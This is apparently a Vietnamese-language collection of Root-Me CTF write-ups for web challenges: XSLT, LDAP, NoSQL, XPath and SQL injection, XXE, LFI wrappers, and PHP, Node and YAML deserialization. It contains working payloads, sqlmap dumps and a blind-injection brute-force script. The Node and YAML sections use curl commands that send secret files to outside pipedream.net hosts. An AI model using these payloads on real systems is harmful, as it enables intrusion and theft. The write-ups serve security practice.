<xsl:value-of select="php:function('readdir')"/>/
<xsl:value-of select="php:function('readdir')"/>/
<xsl:value-of select="php:function('readdir')"/>/
<xsl:value-of select="php:function('readdir')"/>/
<xsl:value-of select="php:function('readdir')"/>/
<xsl:value-of select="php:function('readdir')"/>/
<xsl:value-of select="php:function('readdir')"/>/
<xsl:value-of select="php:function('readdir')"/>/
<xsl:value-of select="php:function('readdir')"/>/
<xsl:value-of select="php:function('readdir')"/>/
....
</xsl:template>
</xsl:stylesheet>
Có cái folder nghi nghi mở ra là có flag.
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee/.passwd')"/>
</xsl:template>
</xsl:stylesheet>
Password: X5L7_R0ckS
44. LDAP injection - Authentication
Xác thực nguời dùng đơn giản (Simple Authtication) . Đối với xác thực nguời dùng đơn giản, tên đăng nhập trong DN được gửi kèm cùng với một mật khẩu dưới dạng clear text tới máy chủ LDAP. Máy chủ sẽ so sánh mật khẩu với giá trị thuộc tính userPassword hoặc với những giá trị thuộc tính đã được định nghĩa truớc trong entry cho DN đó. . Nếu mật khẩu được lưu dưới dạng bị băm (mã hoá), máy chủ sẽ sử dụng hàm băm tương ứng để biến đối mật khẩu đưa vào và so sánh giá trị đó với giá trị mật khẩu đã mã hoá từ trước. . Nếu cả hai mật khẩu trùng nhau, việc xác thực client sẽ thành công.
Đầu tiên đề bài sẽ đưa ra 2 form input username và password.
Vì đây là LDAP injection nên check bằng ")" xem thì bị trả về lỗi.
Username=)
ERROR : Invalid LDAP syntax : (&(uid=))(userPassword=))
- Theo lý thuyết thì có thể điền
(&(uid=*)(userPassword=*))
- Nhưng hình như userPassword đã bị filter "*" nên không thực hiện được
- Payload:
Username= *)(|(1=1
Password= *)
=> (&(uid=*)(|(1=1)(userPassword=*))
- Thì 2 vế luôn đúng nên thành công.
- Chú ý là chủ yếu bypass dấu * của Password chứ vế (1=1) không quan trọng có thể thay thế (1=0),('a'='b') thì nó vẫn đúng thôi.
=> Flag: SWRwehpkTI3Vu2F9DoTJJ0LBO
45. Node - Serialize
Ban đầu họ cho cái login thì đăng nhâp admin admin vô. Thấy tự động serialize cái data login và base64 nó lên cookie profile.
Có thể họ xác nhận đăng nhập bằng cookie vậy nên trong server phải có deserialize thì mới check login được.
Có thể truyền payload để thực thi câu lệnh ở trên server và trả về binrequest.
payload: profile = {
"userName":"admin","passWord":"_$$ND_FUNC$$_function (){
require('child_process').exec('curl -X POST https://eoju8jq9sf7c3et.m.pipedream.net -d \" $(cat ./flag/secret) \"',function(error, stdout, stderr)
{
console.log(stdout) ;
}
);
}()"
}
Flag:
46. NodeJS - Prototype Pollution Bypass
Prototype là cơ chế mà các object trong javascript kế thừa các tính năng từ một object khác. Tất cả các object trong javascript đều có một prototype, và các object này kế thừa các thuộc tính (properties) cũng như phương thức (methods) từ prototype của mình.
Một số lưu ý
object.constructor.prototype = object.__proto__
47. NoSQL injection - Authentication
Mở đầu thì thấy form đăng nhập thì đây là lỗi về nosql.
Bật burp suite thao tác cho dễ.
Đầu tiên vẫn dùng admin và admin thì nhận về bị bad request.
Dùng cú pháp của nosql xem thử.
GET /web-serveur/ch38/?login[$ne]=admin&pass[$ne]=admin HTTP/1.1
$ne: là so sánh không bằng (khác)
You are connected as : test
- Chuyển sang so sánh với test xem.
GET /web-serveur/ch38/?login[$ne]=test&pass[$ne]=admin
You are connected as : admin
- Có nghĩa là ngoài test và admin còn một số user khác nên dùng $lt(lest than) và $gt(greater than) để xem khoảng ở giữa.
GET /web-serveur/ch38/?login[$lt]=test&login[$gt]=admin&pass[$ne]=admin
You are connected as : flag{nosqli_no_secret_4_you}
48. PHP - Path Truncation
Không thể truy cập được trang admin.html vì có thể khi truyền ?page=admin thì sẽ mặc định thêm .php vào đằng sau.
Xử lý bằng việc ngắt chuỗi bằng "%00" nhưng không được chắc bị filter rồi.
Lỗi PHP PATH TRUNCATION xuất hiện ở PHP < 5.3 là việc tham số của php chỉ đạt được 4096 ký tự nếu quá thì tự động loại bỏ.
Giả sử
ls ./folder/./././././././././ thì cũng chỉ liệt kê folder ấy thôi.
Nên ta chèn "./" vào sau để overwrite cái biến page.
Payload:
python -c "print('a/../admin.html/'+'./'*2048)"
Congratz! The flag is 110V3TrUnC4T10n
49. PHP - Serialization
Đầu tiên thì có form đăng nhập và họ hướng dẫn đăng nhập bằng guest/guest với autologin.
Đọc file source lên thấy có 2 cách để login: đăng nhập theo username và password hoặc đăng nhập bằng cookie autologin.
if($_SESSION['login'] === "superadmin"){
require_once('admin.inc.php');
}
Như vậy là login là "superadmin" và trong session[login] là được.
Để tạo ra session[login] thì phải bypass qua hàm này
if ($data['password'] == $auth[ $data['login'] ] ) {
$_SESSION['login'] = $data['login'];
// set cookie for autologin if requested
if($_POST['autologin'] === "1"){
setcookie('autologin', serialize($data));
}
}
- Hàm này là một hàm so sánh lỏng lẻo nếu truyền data[password] vào là true thì so sánh giữa true với chuỗi luôn đúng.
if ($data['password'] == $auth[ $data['login'] ] )
payload:
autologin=a:2:{s:5:"login";s:10:"superadmin";s:8:"password";b:1;}
Flag: NoUserInputInPHPSerialization!
50. SQL injection - Numeric
Đầu tiên họ cho 1 form đăng nhập sau khi dò thì tìm được lỗi sql trên thanh url và dùng SQLite3.
Đầu tiên vẫn kiểm tra số cột có thể tấn công.
news_id=1 order by 10--
Warning: SQLite3::query(): Unable to prepare statement: 1, 1st ORDER BY term out of range - should be between 1 and 3 in /challenge/web-serveur/ch18/index.php on line 80
1st ORDER BY term out of range - should be between 1 and 3
- Có vẻ là có 3 cột.
news_id=1 union select 1,2,3--
News
2
3
=> Chỉ có thể tấn công vào cột 2,3.
- Tiếp tra số bảng
news_id=1 union select NULL,NULL,sql from sqlite_master--
CREATE TABLE news(id INTEGER, title TEXT, description TEXT)
CREATE TABLE users(username TEXT, password TEXT, Year INTEGER)
- Vô đọc bảng users thôi.
news_id=1 union select NULL,username,password from users--
username = admin
password = aTlkJYLjcbLmue3
51. SQL Injection - Routed
SQL Injection - Routed là cách tiêm vào để thoát được 2 query lồng nhau do Routed lấy kết quả của query trước để làm tài nguyên cho câu query sau.
Tìm thì thấy lỗ hổng ở thanh search. Vì là query lồng nhau nên tìm số bảng đầu tiên.
login='union select 1' order by 10 -- - -- -
Attack detected!
- Vì key order by đã bị FILTER nên tìm hiểu thì có thể dùng mã hex để bypass. Qua thử từng cái thì tìm được có 2 cột.
login='union select 1' order by 3 -- - -- -
=> login='union select 1' 0x276f726465722062792033202d2d202d -- -
Unknown column '3' in 'order clause'
Sau khi thử select 1,2 thì có thể khai thác được cả 2 cột.
Tiếp đến tìm tên DB có thể xem cheat sheet ở đây
https://portswigger.net/web-security/sql-injection/cheat-sheet
login='union select 'union select NULL,@@version-- - -- -
=> login='union select 0x27756e696f6e2073656c65637420404076657273696f6e2e4e554c4c2d2d202d -- -
[+] Requested login: ' union select 0x27756e696f6e2073656c656374204e554c4c2c404076657273696f6e2d2d202d -- -<br>
[+] Found ID: <br>
[+] Email: 10.3.34-MariaDB-0ubuntu0.20.04.1<br>
Vì MariaDB khá tương đồng với MySQL nên dùng cheat sheet của MySQL luôn.
Tìm tên bảng.
login='union select ' union select NULL,table_name from information_schema.tables where table_schema = database() -- - -- -
=> login = 'union select ' 0x27756e696f6e2073656c656374204e554c4c2c7461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d61203d2064617461626173652829202d2d202d -- -
[+] Requested login: ' union select 0x27756e696f6e2073656c656374204e554c4c2c7461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d61203d2064617461626173652829202d2d202d -- -<br>
[+] Found ID: <br>
[+] Email: users<br>
- Hiện tên cột trong bảng user
login='union select ' union SELECT NULL,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users'-- - -- -
=> login = 'union select ' 0x2720756e696f6e2053454c45435420312c67726f75705f636f6e63617428636f6c756d6e5f6e616d65292046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73205748455245207461626c655f6e616d65203d20277573657273272d2d202d -- -
[+] Found ID: 1<br>
[+] Email: id,login,password,email<br>
- Hiện login và password là xong.
login='union select 'union SELECT NULL,group_concat(login,'-',password) FROM users-- - -- -
=> login = 'union select ' 0x27756e696f6e2053454c454354204e554c4c2c67726f75705f636f6e636174286c6f67696e2c27202d20272c70617373776f7264292046524f4d2075736572732d2d202d -- -
[+] Email: admin - qs89QdAs9A,jean - superpass,michel - mypass<br>
52. SQL Truncation
Truncation nghĩa là cắt bớt input.
Đọc source code thì có phần gợi ý về bảng user
<!--
CREATE TABLE IF NOT EXISTS user(
id INT NOT NULL AUTO_INCREMENT,
login VARCHAR(12),
password CHAR(32),
PRIMARY KEY (id));
-->
Thì trang web có cho 2 path đăng kí và đăng nhập. Đầu tiên đăng kí tài khoản admin thì nó báo đã tồn tại nên việc bây giờ là bypass admin.
Vì cột login chỉ có 12 kí tự nên nếu ta điền vượt quá thì nó sẽ tự động cắt bớt nên sẽ điền như sau.
login = admin aaaa
password = 12345678
=> admin: 5 ký tự nên cần thêm 7 ký tự trắng nữa là được
Well done ! Flag de validation / Validation flag : J41m3Qu4nD54Tr0nc
53. XML External Entity
Đây là lỗi XXE cơ bản nên đọc thẳng file index.php là xong.
Dùng filter stream php tại bị filter 1 số lệnh.
Payload
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE rss [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<rss version="2.0">
<channel>
<title>W3Schools Home Page</title>
<link>https://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>&xxe;</title>
<link>https://www.w3schools.com/xml/xml_rss.asp</link>
<description>New RSS tutorial on W3Schools</description>
</item>
<item>
<title>XML Tutorial</title>
<link>https://www.w3schools.com/xml</link>
<description>New XML tutorial on W3Schools</description>
</item>
</channel>
</rss>
- Gửi bằng pastebin thì được decode base64 thì được đoạn này.
if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password']))
{
$user=$_POST["username"];
$pass=$_POST["password"];
if($user === "admin" && $pass === "".file_get_contents(".passwd").""){
print "Flag: ".file_get_contents(".passwd")."<br />";
}
}
- Đọc file .passwd là xong.
Flag: c934fed17f1cac3045ddfeca34f332bc
54. XPath injection - Authentication
Thì ban đầu họ cho một bảng user bằng XML có vẻ cần đăng nhập vào admin John
Vì đây là xác thực theo XPath nên có thể hình dung ra được cách login
String xpathQuery = "//user[name/text()='" + request.get("username") + "' And password/text()='" + request.get("password") + "']";
- Payload là:
username: John' or '1'='1
password: abcd
=> String xpathQuery = "//user[name/text()='John' or '1'='1 ' And password/text()='abcd']";
Flag: 6FkC67ui8njEepIK5Gr2Kwe
55. Yaml - Deserialization
YAML là 1 định dạng dũ liệu trung gian được thiết kế để người dùng và các ngôn ngữ lập trình cùng hiểu được. YAML được dùng vào mục đích tương tự JSON, XML nhưng nó lại có nhiều tính năng nổi bật hơn vì cấu trúc dữ liệu linh hoạt hơn, hỗ trợ nhiều ngôn ngữ lập trình, diễn đạt và mở rộng dữ liệu hơn và dễ sử dụng vì khá có nhiều kiểu dữ liệu lập trình.
Khởi đầu thì họ cho dữ liệu kiểu yaml truyền qua thanh url.
Khi deserialize yaml với load thì function trong data có thể sẽ thực thi nên đọc được file.
Payload:
yaml: !!python/object/apply:os.system ['curl -X POST https://eoj7k4x1ldxqxe7.m.pipedream.net -d "$(cat .passwd)"']
=> encode base64 r gửi qua url là thành công.
58. Local File Inclusion - Wrappers
Thì đầu tiên thử LFI bình thường ../../../etc/passwd thì bị filter rồi.
Đề bài hướng dẫn là dùng Wrappers thêm cả LFI thì sau 1 hồi tra mạng thì họ hướng dẫn dùng file zip.
- Tạo 1 file tên a.php
<?php
echo file_get_contents("index.php");
?>
- Zip nó rồi chuyển sang đuôi jpg
$ zip a.zip a.php
$ mv a.zip a.jpg
- Up nó lên rồi đọc với trường page=zip://tmp/uploads/tenfile.jpg%23tenfilephp
- Đọc được rồi giờ dò file path là ok nhưng vì server filter system và exec nên dùng lệnh scandir.
<?php
$scan = scandir('./');
foreach($scan as $file){
echo $file;
}
?>
- Đọc file đó là có flag.
<?php
echo file_get_contents("./flag-mipkBswUppqwXlq9ZydO.php");
?>
59. PHP - Eval
- Đầu tiên nhìn source thấy phần input có hàm eval input.
if (isset($_POST['input'])) {
if(!preg_match('/[a-zA-Z`]/', $_POST['input'])){
print '<fieldset><legend>Result</legend>';
eval('print '.$_POST['input'].";");
print '</fieldset>';
}
else
echo "<p>Dangerous code detected</p>";
}
Quan trọng là có thể bypass qua hàm check không được điền chữ cái kia.
Thuật toán có thể tham khảo đây. https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Cơ bản là tạo ký tự "A" rồi từ đó tăng dần lên để kiểm soát bảng chữ cái.
- Tạo kí tự A:
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
=> Ký tự B là $_++; rồi dần dần tìm chữ cái cần muốn rồi nối chuỗi vào là xong.
=> Chuỗi cần điền: SYSTEM(CAT[STRTOLOWER(.PASSWD())])
payload:
$_=[];
$_=@"$_";
$_=$_['!'=='@']; ;
$___=$_;
$__ = $_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___.=$__;
$__ = $_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___.=$__;
$__=$_;
++$__;++$__;++$__;++$__;
$___.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___.=$__;
$__=$_;
$_____ = '';
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
$____='';
++$__;++$__;
$____.=$__;
$__=$_;
$____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$____.=$__;
$__=$_;
$______='.';
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$______.=$__;
$__=$_;
$______.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$______.=$__;
$______.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$______.=$__;
$__=$_;
++$__;++$__;++$__;
$______.=$__;
$__=$_;
$__________ = $____." ".$______ ;
$___($_____($__________ ))
Flag: M!xIng_PHP_w1th_3v4l_L0L
61. SQL injection - Error
Đầu tiên phát hiện lỗi sql ở trang content vì dựa vào tham số order nên có thể đoán được hàm dùng là order by ...
Ở đây dùng hàm Cast() để ép kiểu truyền vào là số nguyên phù hợp với order by.
Tìm tên bảng vì có nhiều bảng nên limit 1 vào.
GET /web-serveur/ch34/?action=contents&order=,CAST((select table_name from information_schema.tables limit 1) as int)-- - HTTP/1.1
ERROR: invalid input syntax for integer: "m3mbr35t4bl3"
Vì chỉ có thể hiện được một kết quả nên dùng offset (Chức năng là lấy dữ liệu bỏ qua offset đầu)
Vì có nhiều cột nên thay đổi offset từ 1->... nhưng chỉ cần quan tâm 2 cột đầu là username và password.
GET /web-serveur/ch34/?action=contents&order=,CAST((select column_name from information_schema.columns limit 1 offset 1) as int)-- - HTTP/1.1
C1: us3rn4m3_c0l
C2: p455w0rd_c0l
C3: em41l_c0l
.......
- Lấy username và password thôi
GET /web-serveur/ch34/?action=contents&order=,CAST((select us3rn4m3_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)-- - HTTP/1.1
ERROR: invalid input syntax for integer: "admin"
GET /web-serveur/ch34/?action=contents&order=,CAST((select p455w0rd_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)-- - HTTP/1.1
ERROR: invalid input syntax for integer: "1a2BdKT5DIx3qxQN3UaC"
Password: 1a2BdKT5DIx3qxQN3UaC
63. File - Reading
Đầu tiên chương trình cho một form đăng nhập nhưng chỉ cần chú ý đến members vì chứa câu query tại đó
Dùng sql map để dò database thì ta tìm được 3 databases một db thông tin và db test không có gì cả.
sqlmap -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" --dbs
...
available databases [3]:
[*] c_webserveur_31
[*] information_schema
[*] test
- Tiếp đó là đi tìm từng table trong db c_webserveur_31 tìm được một table member
sqlmap -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" -D c_webserveur_31 --tables
...
Database: c_webserveur_31
[1 table]
+--------+
| member |
+--------+
- Dump vào bảng member để xem thông tin thành viên
sqlmap -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" -D c_webserveur_31 -T member --dump
...
Database: c_webserveur_31
Table: member
[1 entry]
+-----------+-------------------------------+--------------+----------------------------------------------------------+
| member_id | member_email | member_login | member_password |
+-----------+-------------------------------+--------------+----------------------------------------------------------+
| 1 | admin@super-secure-webapp.org | admin | VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA== |
+-----------+-------------------------------+--------------+----------------------------------------------------------+
Như vậy là đã có password của member admin nhập thử vào form nhưng bị báo là sai pass. Có một điều đặc biệt là pass có '==' ở cuối đoán là base64 và thử decode rồi điền vào form nhưng vẫn sai pass.
Lúc này nhìn lên đề bài thì thấy yêu cầu là đọc file thì có lẽ pass sẽ được mã hóa theo một cách nào đó được viết ở trong source code.
Đọc file source về máy thường thì file tên là index.php hoặc index.html tìm lần lượt thì có vẻ source code là index.php.
sqlmap -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" --file-read /challenge/web-serveur/ch31/index.php
...
[04:19:59] [INFO] the local file '/home/kali/.local/share/sqlmap/output/challenge01.root-me.org/files/_challenge_web-serveur_ch31_index.php' and the remote file '/challenge/web-serveur/ch31/index.php' have the same size (3359 B)
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/challenge01.root-me.org/files/_challenge_web-serveur_ch31_index.php (same file)
- Và đây là source code
<html>
<header><title>SQL injection - FILE</title></header>
<body>
<h3><a href="?action=login">Authentication</a> | <a href="?action=members">Members</a></h3><hr />
<?php
define('SQL_HOST', '/var/run/mysqld/mysqld3-web-serveur-ch31.sock');
define('SQL_DB', 'c_webserveur_31');
define('SQL_LOGIN', 'c_webserveur_31');
define('SQL_P', 'dOJLsrbyas3ZdrNqnhx');
function stringxor($o1, $o2) {
$res = '';
for($i=0;$i<strlen($o1);$i++)
$res .= chr(ord($o1[$i]) ^ ord($o2[$i]));
return $res;
}
$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
$GLOBALS["___mysqli_ston"] = mysqli_connect('', SQL_LOGIN, SQL_P, "", 0, SQL_HOST) or exit('mysql connection error !');
mysqli_select_db($GLOBALS["___mysqli_ston"], SQL_DB) or die("Database selection error !");
if($_GET['action'] == "login"){
print '<form METHOD="POST">
<p><label style="display:inline-block;width:100px;">Login : </label><input type="text" name="username" /></p>
<p><label style="display:inline-block;width:100px;">Password : </label><input type="password" name="password" /></p>
<p><input value=submit type=submit /></p>
</form>';
if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password']))
{
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], strtolower($_POST['username']));
$pass = sha1($_POST['password']);
$result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT member_password FROM member WHERE member_login='".$user."'");
if(mysqli_num_rows($result) == 1)
{
$data = mysqli_fetch_array($result);
if($pass == stringxor($key, base64_decode($data['member_password']))){
// authentication success
print "<p>Authentication success !!</p>";
if ($user == "admin")
print "<p>Yeah !!! You're admin ! Use this password to complete this challenge.</p>";
else
print "<p>But... you're not admin !</p>";
}
else{
// authentication failed
print "<p>Authentication failed !</p>";
}
}
else{
print "<p>User not found !</p>";
}
}
}
)
if($_GET['action'] == "members"){
if(isset($_GET['id']) && !empty($_GET['id']))
{
// secure ID variable
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $_GET['id']);
$result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT * FROM member WHERE member_id=$id") or die(mysqli_error($GLOBALS["___mysqli_ston"]));
if(mysqli_num_rows($result) == 1)
{
$data = mysqli_fetch_array($result);
print "ID : ".$data["member_id"]."<br />";
print "Username : ".$data["member_login"]."<br />";
print "Email : ".$data["member_email"]."<br />";
}
else{
print "no result found";
}
}
else{
$result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT * FROM member");
while ($row = mysqli_fetch_assoc($result)) {
print "<p><a href=\"?action=members&id=".$row['member_id']."\">".$row['member_login']."</a></p>";
}
}
}
?>
</body>
</html>
- Ta chỉ cần để ý 2 hàm này
function stringxor($o1, $o2) {
$res = '';
for($i=0;$i<strlen($o1);$i++)
$res .= chr(ord($o1[$i]) ^ ord($o2[$i]));
return $res;
}
$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
if($pass == stringxor($key, base64_decode($data['member_password'])))
Có vẻ pass là xor từng bytes giữa member_password và $key
Viết chương trình đơn giản để lấy pass
<?php
$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
function stringxor($o1, $o2) {
$res = '';
for($i=0;$i<strlen($o1);$i++)
$res .= chr(ord($o1[$i]) ^ ord($o2[$i]));
return $res;
}
$q = stringxor($key, base64_decode("VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA=="));
echo $q;
?>
$ php test.php
77be4fc97f77f5f48308942bb6e32aacabed9cef
- Và pass kia là mã hóa dạng sha1 nên decrypt là ra mật khẩu rồi submit là thành công.
64. XPath injection - String
Đầu tiên thì họ cho cái form để search thành viên.
Đây là theo kiểu string xpath nên có thể injection được.
Thường thì cấu trúc search nó sẽ như thế này.
/user/username[contains(., '+VALUE+')]
Có thể đọc tìm hiểu tại: https://book.hacktricks.xyz/pentesting-web/xpath-injection#:~:text=XPath%20Injection%20is%20an%20attack,query%20or%20navigate%20XML%20documents.
Một số payload về string:
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
- Ở đây dùng get all values
') or 2=1] | //user/node()[('')=('
2
Harry
MB5PRCvfOXiYejMcmNTI => Flag
administrator
Harry@admin.org
65. NoSQL injection - Blind
Đề yêu cầu bản demo của nosqlblind
Vì đầy là blind nên dùng [regex] để tìm kiếm flag chuẩn dựa vào bruteforce.
Input đầu vào với 2 param là chall_name và flag.
Check từng ký tự xem flag và khi check đúng sẽ nhận được mes "Yeah this is the flag for nosqlblind!"
Tool tìm flag
import urllib
import requests
import tqdm
import string
url = 'http://challenge01.root-me.org/web-serveur/ch48/index.php'
list_char = string.digits + string.ascii_letters + '\\'.join(list('!@#$%^&*()_+{}:"<>?-=[];\',./'))
pad = ''
flags = ''
flag_find = 0
while True:
for x in list_char:
if x == '\\':
pad = '\\'
continue
x = pad+x
pad = ''
payload = '^' + flags + x +'.*' #Truy vấn các chuỗi bắt đầu từ '^flag' và kết thúc là '*'
print('payload : ' + payload)
params = {'chall_name' : 'nosqlblind', 'flag[$regex]' : payload}
res = requests.get(url, params = params)
if res.text.find('Yeah') != -1:
flags += x.replace('\\', '')
flag_find = 1
break
if flag_find != 1:
break
flag_find = 0
print ('flag: ' + flags)
flag: 3@sY_n0_5q7_1nj3c710n
69. SQL injection - Blind
- Đầu tiên cho 1 form đăng nhập input thì vẫn thử như bình thường
username=admin'or 1=1--
Thì đăng nhập thành công nhưng không thông báo gì cả.
Cần phải lấy password thì trước tiên kiểm tra độ dài password đã
username=admin'+and+(select+length(password)+from+users+where+(username='admin'))=8--&password=aa
=> Thành công
- Bruteforce password
username=admin'+and+substr((select+password+from+users+where+(username='admin')),§1§,1)='§a§'--&password=aa
Payload1: 123456789
Payload2: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}:"<>?-=[];',./
- Ngồi đợi một lúc là ra
Flag: e2azO93i
70. SQL injection - Time based
Time-based – Hacker sẽ gửi một truy vấn SQL đến Cơ sở dữ liệu, làm cho Cơ sở dữ liệu đợi (trong vài giây) trước khi có thể hoạt động. Sau đó, hacker có thể xem từ thời gian Cơ sở dữ liệu cần để phản hồi, một truy vấn là đúng hay sai. Dựa trên kết quả, một HTTP repsonse sẽ được tạo ra. Vì vậy hacker có thể tìm ra thông báo mà chúng đã sử dụng trả về đúng hay sai, không cần dựa vào dữ liệu từ Cơ sở dữ liệu.
Đầu tiên thực hiện câu truy vấn có thì kết quả trả về 3000ms nên khai thác được.
Tìm length và tên của dbs
action=member&member=1;select+case+when+(select+length(table_name)+from+information.schema.tables+limit+1)=5+then+pg_sleep(5)+else+pg_sleep(0)+end--
action=member&member=1;select+case+when+(select+length(column_name)+from+information.schema.columns+limit+1+offset+5)=8+then+pg_sleep(5)+else+pg_sleep(0)+end--
- Xong như sqli blind tìm length và password của user nhưng dò hơi lâu nên dùng luôn sqlmap. Lưu request vào file test.txt
python3 sqlmap.py -r test.txt --tables
Database: public
[1 table]
+-------+
| users |
+-------+
- Chọn time-sec = 3
~/sqlmap# python3 sqlmap.py -r test.txt --time-sec=3 -T users --column
Database: public
Table: users
[6 columns]
+-----------+---------+
| Column | Type |
+-----------+---------+
| email | varchar |
| firstname | varchar |
| id | int4 |
| lastname | varchar |
| password | varchar |
| username | varchar |
+-----------+---------+
- Đọc username và password là xong
:~/sqlmap# python3 sqlmap.py -r test.txt --time-sec=3 -D public -T users -C username,password --dum
p
Database: public
Table: users
[3 entries]
+----------+---------------+
| username | password |
+----------+---------------+
| jsilver | J0hNG0lDeN |
| jsparow | Sp@r0WKr@K3n |
| admin | T!m3B@s3DSQL! |
+----------+---------------+
71. PHP - Unserialize Pop Chain
- Đầu tiên xem source code
$getflag = false;
class GetMessage {
function __construct($receive) {
if ($receive === "HelloBooooooy") {
die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
} else {
$this->receive = $receive;
}
}
function __toString() {
return $this->receive;
}
function __destruct() {
global $getflag;
if ($this->receive !== "HelloBooooooy") {
die("[FRIEND]: Hm.. you don't see to be the friend I was waiting for..<br>");
} else {
if ($getflag) {
include("flag.php");
echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>";
}
}
}
}
class WakyWaky {
function __wakeup() {
echo "[YOU]: ".$this->msg."<br>";
}
function __toString() {
global $getflag;
$getflag = true;
return (new GetMessage($this->msg))->receive;
}
}
Đầu tiên là hàm unserialize chỉ call hàm toString và destruct không gọi hàm __construct. Vậy chỉ cần chuyển thuộc tính receive "HelloBooooooy" là có thể bypass được. Thêm một thuộc tính waky cho GetMessage để khởi tạo cho WakyWaky.
Bây giờ xử lý $getflag = true là thành công.
